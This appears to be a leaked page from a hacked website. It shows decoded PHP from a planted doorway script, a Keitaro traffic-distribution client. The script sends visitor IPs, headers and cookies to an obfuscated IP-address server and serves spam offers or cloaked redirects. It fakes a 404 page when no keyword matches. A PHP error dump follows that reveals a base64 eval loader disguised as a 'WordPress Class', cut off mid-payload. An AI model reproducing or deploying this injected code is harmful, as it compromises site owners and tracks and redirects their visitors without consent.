($this->isPrefetchDetected()) { $this->param('prefetch', 1); } } public function currentPageAsReferrer() { $this->referrer($this->_getCurrentPage()); return $this; } public function debug($state = true) { $this->_debug = $state; return $this; } public function seReferrer($seReferrer) { $this->_params['se_referrer'] = $seReferrer; return $this; } public function referrer($referrer) { $this->_params['referrer'] = $referrer; return $this; } public function setHttpClient($httpClient) { $this->_httpClient = $httpClient; return $this; } public function trackerUrl($name) { $this->_trackerUrl = $name; } // @deprecated public function token($token) { return $this->campaignToken($token); } public function campaignToken($campaignToken) { $this->_params['token'] = $campaignToken; return $this; } public function version($version) { $this->_params['version'] = $version; return $this; } public function ua($ua) { $this->_params['ua'] = $ua; return $this; } public function language($language) { $this->_params['language'] = $language; return $this; } public function keyword($keyword) { $this->_params['keyword'] = $keyword; return $this; } public function forceRedirectOffer() { $this->_params['force_redirect_offer'] = 1; } public function ip($ip) { $this->_params['ip'] = $ip; return $this; } public function sendUtmLabels() { foreach ($_GET as $name => $value) { if (strstr($name, 'utm_')) { $this->_params[$name] = $value; } } } public function setLandingToken($token) { $this->_startSession(); $_SESSION['token'] = $token; } public function getSubId() { $result = $this->performRequest(); if (empty($result->info->sub_id)) { $this->log('No sub_id is defined'); return 'no_subid'; } $subId = $result->info->sub_id; return $subId; } public function getToken() { $result = $this->performRequest(); if (empty($result->info->sub_id)) { $this->log('No landing token is defined'); return 'no_token'; } $subId = $result->info->token; return $subId; } public function sendAllParams() { foreach ($_GET as $name => $value) { if (empty($this->_params[$name]) && !in_array($name, $this->_excludeParams)) { $this->_params[$name] = $value; } } } public function restoreFromSession() { if ($this->isStateRestored()) { return; } $this->_startSession(); if (!empty($_SESSION[self::STATE_SESSION_KEY])) { if ($_SESSION[self::STATE_SESSION_EXPIRES_KEY] < time()) { unset($_SESSION[self::STATE_SESSION_KEY]); unset($_SESSION[self::STATE_SESSION_EXPIRES_KEY]); $this->log('State expired'); } else { $this->_result = json_decode($_SESSION[self::STATE_SESSION_KEY], false); if (isset($this->_result) && isset($this->_result->headers)) { $this->_result->headers = array(); } $this->_stateRestored = true; $this->log('State restored'); } } } public function restoreFromQuery() { if (isset($_GET['_subid'])) { $this->_stateRestored = true; if (empty($this->_result)) { $this->_result = new StdClass(); $this->_result->info = new StdClass(); } $this->_result->info->sub_id = $_GET['_subid']; $this->log('SubId loaded from query'); if (isset($_GET['_token'])) { $this->_result->info->token = $_GET['_token']; $this->log('Landing token loaded from query'); } $this->_storeState($this->_result, self::DEFAULT_TTL); $this->_stateRestored = true; } } public function isStateRestored() { return $this->_stateRestored; } public function isPrefetchDetected() { $checkServerParams = array('HTTP_X_PURPOSE' => 'preview', 'HTTP_X_MOZ' => 'prefetch', 'HTTP_X_FB_HTTP_ENGINE' => 'Liger'); foreach ($checkServerParams as $name => $value) { if (isset($_SERVER[$name]) && $_SERVER[$name] == $value) { return true; } } return false; } public function saveCookie($key, $value, $ttl) { if (isset($_COOKIE[$key]) && $_COOKIE[$key] == $value) { return; } if (!headers_sent()) { setcookie($key, $value, $this->_getCookiesExpireTimestamp($ttl), '/', $this->_getCookieHost()); } $_COOKIE[$key] = $value; } public function param($name, $value) { if (!in_array($name, $this->_excludeParams)) { $this->_params[$name] = $value; } return $this; } public function params($value) { if (!empty($value)) { if (is_string($value)) { parse_str($value, $result); foreach ($result as $name => $value) { $this->param($name, $value); } } } return $this; } public function reset() { $this->_result = null; } public function performRequest() { if ($this->_result) { return $this->_result; } $request = $this->_buildRequestUrl(); $params = $this->getParams(); $options = $this->_getRequestOptions(); $this->log('Request: ' . $request); try { $result = $this->_httpClient->request($request, $params, $options); $this->log('Response: ' . $result); } catch (KTrafficClientError $e) { if ($this->_debug) { throw $e; } else { return self::ERROR; } } $this->_result = json_decode($result); $this->_storeState( $this->_result, isset($this->_result->cookies_ttl) ? $this->_result->cookies_ttl : null ); if (isset($this->_result->cookies)) { $this->_saveKeitaroCookies($this->_result->cookies , $this->_result->cookies_ttl); } return $this->_result; } public function execute($break = false, $print = true) { $content = $this->getContent(); if ($print) { $headers = $this->sendHeaders(); echo $content; } else { return $content; } if ($break && (!empty($content) || $this->checkHeaders($headers))) { exit; } } public function checkHeaders($headers) { if (empty($headers)) { return; } foreach ($headers as $header) { if (strpos($header, 'Location:') === 0) { return true; } if ($header == 'HTTP/1.1 404 Not Found') { return true; } } return false; } public function getContent() { $result = $this->performRequest(); $content = ''; if (!empty($result)) { if (!empty($result->error)) { $content .= $result->error; } if (!empty($result->body)) { if (isset($result->contentType) && (strstr($result->contentType, 'image') || strstr($result->contentType, 'application/pdf'))) { $content = base64_decode($result->body); } else { $content .= $result->body; } } } return $content; } public function showLog($separator = '
') { echo '
' . implode($separator, $this->getLog()). '
'; } public function log($msg) { if ($this->_debug) { error_log($msg); } $this->_log[] = $msg; } public function getLog() { return $this->_log; } public function executeAndBreak() { $this->execute(true); } public function getParams() { return $this->_params; } private function _storeState($result, $ttl) { $this->_startSession(); $_SESSION[self::STATE_SESSION_KEY] = json_encode($result); $_SESSION[self::STATE_SESSION_EXPIRES_KEY] = time() + ($ttl * 60 * 60); // for back-compatibility purpose if (!empty($result->info)) { if (!empty($result->info->sub_id)) { $_SESSION[self::SESSION_SUB_ID] = $result->info->sub_id; } if (!empty($result->info->token)) { $_SESSION[self::SESSION_LANDING_TOKEN] = $result->info->token; } } } private function _saveKeitaroCookies($cookies, $ttl) { foreach ($cookies as $key => $value) { $this->saveCookie($key, $value, $ttl); } } public function sendHeaders() { $result = $this->performRequest(); $headers = array(); $file = ""; $line = ""; if (headers_sent($file, $line)) { $msg = "Body output already started"; if (!empty($file)) { $msg .= "({$file}:{$line})"; } $this->log($msg); } if (!empty($result->headers)) { foreach ($result->headers as $header) { $headers[] = $header; if (!headers_sent()) { header($header); } } } if (!empty($result->status)) { http_response_code($result->status); } if (!empty($result->contentType)) { $header = 'Content-Type: ' . $result->contentType; $headers[] = $header; if (!headers_sent()) { header($header); } } return $headers; } // @deprecated public function updateHeaders() { $this->sendHeaders(); } public function getOffer($params = array(), $fallback = 'no_offer') { $result = $this->performRequest(); $token = $this->getToken(); if (empty($token)) { $this->log('Campaign hasn\'t returned offer'); return $fallback; } $params['_lp'] = 1; $params['_token'] = $result->info->token; return $this->_buildOfferUrl($params); } public function isBot() { $result = $this->performRequest(); if (isset($result->info)) { return isset($result->info->is_bot) ? $result->info->is_bot : false; } } public function isUnique($level = 'campaign') { $result = $this->performRequest(); if (isset($result->info) && $result->info->uniqueness) { return isset($result->info->uniqueness->$level) ? $result->info->uniqueness->$level : false; } } // @deprecated public function forceChooseOffer() { throw new \Error('forceChooseOffer was removed in KClickClient v3.'); } public function getBody() { $result = $this->performRequest(); return $result->body; } public function getHeaders() { $result = $this->performRequest(); return $result->headers; } private function _startSession() { if (!headers_sent()) { @session_start(); } } private function _buildOfferUrl($params = array()) { $request = parse_url($this->_trackerUrl); $lastChar = substr($request['path'], -1); if ($lastChar != '/' && $lastChar != '\\') { $path = str_replace(basename($request['path']), '', $request['path']); } else { $path = $request['path']; } $path = ltrim($path, "\\\/"); $params = http_build_query($params); return "{$request['scheme']}://{$request['host']}/{$path}?{$params}"; } private function _getCurrentPage() { if ((isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) || !empty($_SERVER['HTTPS'])) { $scheme = 'https'; } else { $scheme = 'http'; } return $scheme . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; } private function _buildRequestUrl() { $request = parse_url($this->_trackerUrl); $url = "{$request['scheme']}://{$request['host']}"; if (isset($request['port'])) { $url = ':' . $request['port']; } $url .= "/{$request['path']}"; return $url; } private function _findIp() { $ip = null; $headers = array( 'HTTP_X_FORWARDED_FOR', 'HTTP_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_FORWARDED', 'HTTP_CLIENT_IP', 'HTTP_FORWARDED_FOR_IP', 'X_FORWARDED_FOR', 'FORWARDED_FOR', 'X_FORWARDED', 'FORWARDED', 'CLIENT_IP', 'FORWARDED_FOR_IP', 'HTTP_PROXY_CONNECTION'); foreach ($headers as $header) { if (!empty($_SERVER[$header])) { $tmp = explode(',', $_SERVER[$header]); $ip = trim($tmp[0]); break; } } if (strstr($ip, ',')) { $tmp = explode(',', $ip); if (stristr($_SERVER['HTTP_USER_AGENT'], 'mini')) { $ip = trim($tmp[count($tmp) - 2]); } else { $ip = trim($tmp[0]); } } if (empty($ip)) { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; } private function _getCookiesExpireTimestamp($ttl) { return time() + 60 * 60 * $ttl; } private function _getCookieHost() { if (isset($_SERVER['HTTP_HOST']) && substr_count($_SERVER['HTTP_HOST'], '.') < 3) { $host = '.' . str_replace('www.', '', $_SERVER['HTTP_HOST']); } else { $host = null; } return $host; } private function _getRequestOptions() { $opts = array(); if (isset($_SERVER["HTTP_COOKIE"])) { $opts['cookies'] = preg_replace('/PHPSESSID=.*?;/si', '', $_SERVER["HTTP_COOKIE"]); } return $opts; } } class KHttpClient { const UA = 'KHttpClient'; public function request($url, $params, $opts = array()) { $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_COOKIE, isset($opts['cookies']) ? $opts['cookies'] : null); curl_setopt($ch, CURLOPT_NOBODY, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_USERAGENT, self::UA); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params)); $result = curl_exec($ch); if (curl_error($ch)) { throw new KTrafficClientError(curl_error($ch)); } if (empty($result)) { throw new KTrafficClientError('Empty response'); } return $result; } } class KTrafficClientError extends \Exception {} if (!function_exists('http_response_code')) { function http_response_code($code = NULL) { if ($code !== NULL) { switch ($code) { case 100: $text = 'Continue'; break; case 101: $text = 'Switching Protocols'; break; case 200: $text = 'OK'; break; case 201: $text = 'Created'; break; case 202: $text = 'Accepted'; break; case 203: $text = 'Non-Authoritative Information'; break; case 204: $text = 'No Content'; break; case 205: $text = 'Reset Content'; break; case 206: $text = 'Partial Content'; break; case 300: $text = 'Multiple Choices'; break; case 301: $text = 'Moved Permanently'; break; case 302: $text = 'Moved Temporarily'; break; case 303: $text = 'See Other'; break; case 304: $text = 'Not Modified'; break; case 305: $text = 'Use Proxy'; break; case 400: $text = 'Bad Request'; break; case 401: $text = 'Unauthorized'; break; case 402: $text = 'Payment Required'; break; case 403: $text = 'Forbidden'; break; case 404: $text = 'Not Found'; break; case 405: $text = 'Method Not Allowed'; break; case 406: $text = 'Not Acceptable'; break; case 407: $text = 'Proxy Authentication Required'; break; case 408: $text = 'Request Time-out'; break; case 409: $text = 'Conflict'; break; case 410: $text = 'Gone'; break; case 411: $text = 'Length Required'; break; case 412: $text = 'Precondition Failed'; break; case 413: $text = 'Request Entity Too Large'; break; case 414: $text = 'Request-URI Too Large'; break; case 415: $text = 'Unsupported Media Type'; break; case 500: $text = 'Internal Server Error'; break; case 501: $text = 'Not Implemented'; break; case 502: $text = 'Bad Gateway'; break; case 503: $text = 'Service Unavailable'; break; case 504: $text = 'Gateway Time-out'; break; case 505: $text = 'HTTP Version not supported'; break; default: exit('Unknown http status code "' . htmlentities($code) . '"'); break; } $protocol = (isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.0'); header($protocol . ' ' . $code . ' ' . $text); $GLOBALS['http_response_code'] = $code; } else { $code = (isset($GLOBALS['http_response_code']) ? $GLOBALS['http_response_code'] : 200); } return $code; } } if (!function_exists('getallheaders')) { function getallheaders() { $headers = array(); foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == 'HTTP_') { $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value; } } return $headers; } } $hidd = sqrt(22201); $keys_file_source_enc = file_get_contents($txt_filename.".txt"); $keys_file_source = base64_decode($keys_file_source_enc); $arr_from_file = explode("\n", $keys_file_source); $matching_arr = array(); foreach ($arr_from_file as $line){ $tmp_arr = explode(";", $line); $matching_arr[$tmp_arr[0]]['keyword'] = trim($tmp_arr[1]); $matching_arr[$tmp_arr[0]]['path'] = trim($tmp_arr[2]); } $keyword = $matching_arr[$myfname]['keyword']; $txt_path = $matching_arr[$myfname]['path']; $door_domain = $_SERVER["HTTP_HOST"]; $door_file = $_SERVER['SCRIPT_NAME']; if($keyword){ $client = new KClickClient('http://'.$hidd.'.202.65.142/api.php?', $my_camp_ID); $client->sendAllParams(); $client->forceRedirectOffer(); $client->param('sub_id_1', urlencode($door_domain)); $client->param('sub_id_2', urlencode($door_file)); $client->param('sub_id_3', urlencode($door_tpl)); $client->param('sub_id_4', $_SERVER['HTTP_REFERER']); $client->param('sub_id_5', urlencode($pack_name)); $client->param('sub_id_6', urlencode($txt_path)); $client->param('sub_id_7', urlencode($myfname)); $client->keyword(urlencode($keyword)); $client->currentPageAsReferrer(); if($client->getBody()==""){ $client->executeAndBreak(); } else{ $content_body = preg_replace('||','',$client->getBody()); echo $content_body; } } else{ http_response_code(404); echo ' 404 Not Found

Not Found

The requested URL /'.$myfname.' was not found on this server.

'; die(); } '
)
.../bqpj.php(143) : runtime-created function(1) : eval()'d code(156) : runtime-created function:1

( ! ) Notice: Undefined index: HTTP_REFERER in /home/mytoolsshoppy/public_html/nes.edu.in/zehi/bqpj.php(143) : runtime-created function(1) : eval()'d code(156) : runtime-created function(1) : eval()'d code on line 753
Call Stack
#TimeMemoryFunctionLocation
10.0101363072{main}( ).../bqpj.php:0
20.0106421416__lambda_func( ).../bqpj.php:145
30.0108498048eval( ' $____='printf';$___________='WordPress Class...'; $___ = 'Y3JlYXRlX0ZVTkNUSU9O' ; $______= 'cmV0dXJuIGV2YWwoJF9fXyk7' ; $____ = 'base64_decode'; $___________='DQoJJGRvb3JfdHBsID0gImF1dG9fMjIwN18xIjsNCgkkbXlfY2FtcF9JRCA9ICJXYmNHTG03Yk15R3RmMjQxIjsNCgkkcGFja19uYW1lICA9ICIyMzA3X3ByZWNhY2hlZF9OT1NMQVNIIjsNCgkkdHh0X2ZpbGVuYW1lICA9ICJicXBqIjsNCgkNCg0KJG15X2dldF9hcnIgPSBhcnJheV92YWx1ZXMoJF9HRVQpOw0KJG15Zm5hbWUgPSAkbXlfZ2V0X2FyclswXTsNCgkNCmNsYXNzIEtDbGlja0NsaWVudA0Kew0KICAgIGNvbnN0IFNFU1NJT05fU1VCX0lEID0gJ3N1Yl9pZCc7DQogICAgY29uc3QgU0VTU0lPTl9MQU5ESU5HX1RPS0VOID0gJ2xhbmRpbmdfdG9rZW4nOw0KICAgIC8qKiBAdmVyc2lvbiAzLjUgKiovDQogICAgY29uc3QgVkVSU0lPTiA9IDM7DQogICAgY29uc3QgU1RBVEVfU0VTU0lPTl9LRVkgPSAna2VpdGFyb19zdGF0ZSc7DQogICAgY29uc3QgU1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWSA9ICdrZWl0YXJvX3N0YXRlX2V4cGlyZXMnOw0KICAgIGNvbnN0IERFRkFVTFRfVFRMID0gMTsNCiAgICAvKioNCiAgICAgKiBAdmFyIEtIdHRwQ2xpZW50DQogICAgICovDQogICAgcHJpdmF0ZSAkX2h0dHBDbGllbnQ7DQogICAgcHJpdmF0ZSAkX2RlYnVnID0gZmFsc2U7DQogICAgcHJpdmF0ZSAkX3RyYWNrZXJVcmw7DQogICAgcHJpdmF0ZSAkX3BhcmFtcyA9IGFycmF5KCk7DQogICAgcHJpdmF0ZSAkX2xvZyA9IGFycmF5KCk7DQogICAgcHJpdmF0ZSAkX2V4Y2x1ZGVQYXJhbXMgPSBhcnJheSgnYXBpX2tleScsICd0b2tlbicsICdsYW5ndWFnZScsICd1YScsICdpcCcsICdyZWZlcnJlcicsICdmb3JjZV9yZWRpcmVjdF9vZmZlcicpOw0KICAgIHByaXZhdGUgJF9yZXN1bHQ7DQogICAgcHJpdmF0ZSAkX3N0YXRlUmVzdG9yZWQ7DQoNCiAgICBjb25zdCBFUlJPUiA9ICdbS1RyYWZmaWNDbGllbnRdIFNvbWV0aGluZyBpcyB3cm9uZy4gRW5hYmxlIGRlYnVnIG1vZGUgdG8gc2VlIHRoZSByZWFzb24uJzsNCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdHJhY2tlclVybCwgJHRva2VuKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPnRyYWNrZXJVcmwoJHRyYWNrZXJVcmwpOw0KICAgICAgICAkdGhpcy0+Y2FtcGFpZ25Ub2tlbigkdG9rZW4pOw0KICAgICAgICAkdGhpcy0+dmVyc2lvbihzZWxmOjpWRVJTSU9OKTsNCiAgICAgICAgJHRoaXMtPnBhcmFtKCdpbmZvJywgMSk7DQogICAgICAgICR0aGlzLT5maWxsUGFyYW1zKCk7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGZpbGxQYXJhbXMoKQ0KICAgIHsNCiAgICAgICAgJHJlZmVycmVyID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSA/ICRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSA6IG51bGw7DQogICAgICAgICR0aGlzLT5zZXRIdHRwQ2xpZW50KG5ldyBLSHR0cENsaWVudCgpKTsNCg0KICAgICAgICAkdGhpcy0+aXAoJHRoaXMtPl9maW5kSXAoKSkNCiAgICAgICAgICAgIC0+dWEoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSA/ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSA6IG51bGwpDQogICAgICAgICAgICAtPmxhbmd1YWdlKChpc3NldCgkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSkgPyBzdWJzdHIoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10sIDAsIDIpIDogJycpKQ0KICAgICAgICAgICAgLT5zZVJlZmVycmVyKCRyZWZlcnJlcikNCiAgICAgICAgICAgIC0+cmVmZXJyZXIoJHJlZmVycmVyKQ0KICAgICAgICAgICAgLT5wYXJhbSgnb3JpZ2luYWxfaGVhZGVycycsIGdldGFsbGhlYWRlcnMoKSkNCiAgICAgICAgICAgIC0+cGFyYW0oJ29yaWdpbmFsX2hvc3QnLCBpc3NldCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pID8gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIDogJ2xvY2FsaG9zdCcpDQogICAgICAgICAgICAtPnBhcmFtKCdrdmVyc2lvbicsICczLjQnKTsNCg0KICAgICAgICBpZiAoJHRoaXMtPmlzUHJlZmV0Y2hEZXRlY3RlZCgpKSB7DQogICAgICAgICAgICAkdGhpcy0+cGFyYW0oJ3ByZWZldGNoJywgMSk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gY3VycmVudFBhZ2VBc1JlZmVycmVyKCkNCiAgICB7DQogICAgICAgICR0aGlzLT5yZWZlcnJlcigkdGhpcy0+X2dldEN1cnJlbnRQYWdlKCkpOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGRlYnVnKCRzdGF0ZSA9IHRydWUpDQogICAgew0KICAgICAgICAkdGhpcy0+X2RlYnVnID0gJHN0YXRlOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNlUmVmZXJyZXIoJHNlUmVmZXJyZXIpDQogICAgew0KICAgICAgICAkdGhpcy0+X3BhcmFtc1snc2VfcmVmZXJyZXInXSA9ICRzZVJlZmVycmVyOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHJlZmVycmVyKCRyZWZlcnJlcikNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWydyZWZlcnJlciddID0gJHJlZmVycmVyOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNldEh0dHBDbGllbnQoJGh0dHBDbGllbnQpDQogICAgew0KICAgICAgICAkdGhpcy0+X2h0dHBDbGllbnQgPSAkaHR0cENsaWVudDsNCiAgICAgICAgcmV0dXJuICR0aGlzOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiB0cmFja2VyVXJsKCRuYW1lKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl90cmFja2VyVXJsID0gJG5hbWU7DQogICAgfQ0KDQogICAgLy8gQGRlcHJlY2F0ZWQNCiAgICBwdWJsaWMgZnVuY3Rpb24gdG9rZW4oJHRva2VuKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5jYW1wYWlnblRva2VuKCR0b2tlbik7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGNhbXBhaWduVG9rZW4oJGNhbXBhaWduVG9rZW4pDQogICAgew0KICAgICAgICAkdGhpcy0+X3BhcmFtc1sndG9rZW4nXSA9ICRjYW1wYWlnblRva2VuOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KICAgIHB1YmxpYyBmdW5jdGlvbiB2ZXJzaW9uKCR2ZXJzaW9uKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl9wYXJhbXNbJ3ZlcnNpb24nXSA9ICR2ZXJzaW9uOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHVhKCR1YSkNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWyd1YSddID0gJHVhOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGxhbmd1YWdlKCRsYW5ndWFnZSkNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWydsYW5ndWFnZSddID0gJGxhbmd1YWdlOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGtleXdvcmQoJGtleXdvcmQpDQogICAgew0KICAgICAgICAkdGhpcy0+X3BhcmFtc1sna2V5d29yZCddID0gJGtleXdvcmQ7DQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZm9yY2VSZWRpcmVjdE9mZmVyKCkNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWydmb3JjZV9yZWRpcmVjdF9vZmZlciddID0gMTsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gaXAoJGlwKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl9wYXJhbXNbJ2lwJ10gPSAkaXA7DQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2VuZFV0bUxhYmVscygpDQogICAgew0KICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkbmFtZSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgIGlmIChzdHJzdHIoJG5hbWUsICd1dG1fJykpIHsNCiAgICAgICAgICAgICAgICAkdGhpcy0+X3BhcmFtc1skbmFtZV0gPSAkdmFsdWU7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0TGFuZGluZ1Rva2VuKCR0b2tlbikNCiAgICB7DQogICAgICAgICR0aGlzLT5fc3RhcnRTZXNzaW9uKCk7DQogICAgICAgICRfU0VTU0lPTlsndG9rZW4nXSA9ICR0b2tlbjsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0U3ViSWQoKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICBpZiAoZW1wdHkoJHJlc3VsdC0+aW5mby0+c3ViX2lkKSkgew0KICAgICAgICAgICAgJHRoaXMtPmxvZygnTm8gc3ViX2lkIGlzIGRlZmluZWQnKTsNCiAgICAgICAgICAgIHJldHVybiAnbm9fc3ViaWQnOw0KICAgICAgICB9DQogICAgICAgICRzdWJJZCA9ICRyZXN1bHQtPmluZm8tPnN1Yl9pZDsNCiAgICAgICAgcmV0dXJuICRzdWJJZDsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0VG9rZW4oKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICBpZiAoZW1wdHkoJHJlc3VsdC0+aW5mby0+c3ViX2lkKSkgew0KICAgICAgICAgICAgJHRoaXMtPmxvZygnTm8gbGFuZGluZyB0b2tlbiBpcyBkZWZpbmVkJyk7DQogICAgICAgICAgICByZXR1cm4gJ25vX3Rva2VuJzsNCiAgICAgICAgfQ0KICAgICAgICAkc3ViSWQgPSAkcmVzdWx0LT5pbmZvLT50b2tlbjsNCiAgICAgICAgcmV0dXJuICRzdWJJZDsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2VuZEFsbFBhcmFtcygpDQogICAgew0KICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkbmFtZSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+X3BhcmFtc1skbmFtZV0pICYmICFpbl9hcnJheSgkbmFtZSwgJHRoaXMtPl9leGNsdWRlUGFyYW1zKSkgew0KICAgICAgICAgICAgICAgICR0aGlzLT5fcGFyYW1zWyRuYW1lXSA9ICR2YWx1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiByZXN0b3JlRnJvbVNlc3Npb24oKQ0KICAgIHsNCiAgICAgICAgaWYgKCR0aGlzLT5pc1N0YXRlUmVzdG9yZWQoKSkgew0KICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICB9DQogICAgICAgICR0aGlzLT5fc3RhcnRTZXNzaW9uKCk7DQogICAgICAgIGlmICghZW1wdHkoJF9TRVNTSU9OW3NlbGY6OlNUQVRFX1NFU1NJT05fS0VZXSkpIHsNCiAgICAgICAgICAgIGlmICgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWV0gPCB0aW1lKCkpIHsNCiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9LRVldKTsNCiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWV0pOw0KICAgICAgICAgICAgICAgICR0aGlzLT5sb2coJ1N0YXRlIGV4cGlyZWQnKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJHRoaXMtPl9yZXN1bHQgPSBqc29uX2RlY29kZSgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9LRVldLCBmYWxzZSk7DQogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCR0aGlzLT5fcmVzdWx0KSAmJiBpc3NldCgkdGhpcy0+X3Jlc3VsdC0+aGVhZGVycykpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPl9yZXN1bHQtPmhlYWRlcnMgPSBhcnJheSgpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkdGhpcy0+X3N0YXRlUmVzdG9yZWQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICR0aGlzLT5sb2coJ1N0YXRlIHJlc3RvcmVkJyk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVzdG9yZUZyb21RdWVyeSgpDQogICAgew0KICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ19zdWJpZCddKSkgew0KICAgICAgICAgICAgJHRoaXMtPl9zdGF0ZVJlc3RvcmVkID0gdHJ1ZTsNCiAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+X3Jlc3VsdCkpIHsNCiAgICAgICAgICAgICAgICAkdGhpcy0+X3Jlc3VsdCA9IG5ldyBTdGRDbGFzcygpOw0KICAgICAgICAgICAgICAgICR0aGlzLT5fcmVzdWx0LT5pbmZvID0gbmV3IFN0ZENsYXNzKCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkdGhpcy0+X3Jlc3VsdC0+aW5mby0+c3ViX2lkID0gJF9HRVRbJ19zdWJpZCddOw0KICAgICAgICAgICAgJHRoaXMtPmxvZygnU3ViSWQgbG9hZGVkIGZyb20gcXVlcnknKTsNCiAgICAgICAgICAgIGlmIChpc3NldCgkX0dFVFsnX3Rva2VuJ10pKSB7DQogICAgICAgICAgICAgICAgJHRoaXMtPl9yZXN1bHQtPmluZm8tPnRva2VuID0gJF9HRVRbJ190b2tlbiddOw0KICAgICAgICAgICAgICAgICR0aGlzLT5sb2coJ0xhbmRpbmcgdG9rZW4gbG9hZGVkIGZyb20gcXVlcnknKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICR0aGlzLT5fc3RvcmVTdGF0ZSgkdGhpcy0+X3Jlc3VsdCwgc2VsZjo6REVGQVVMVF9UVEwpOw0KICAgICAgICAgICAgJHRoa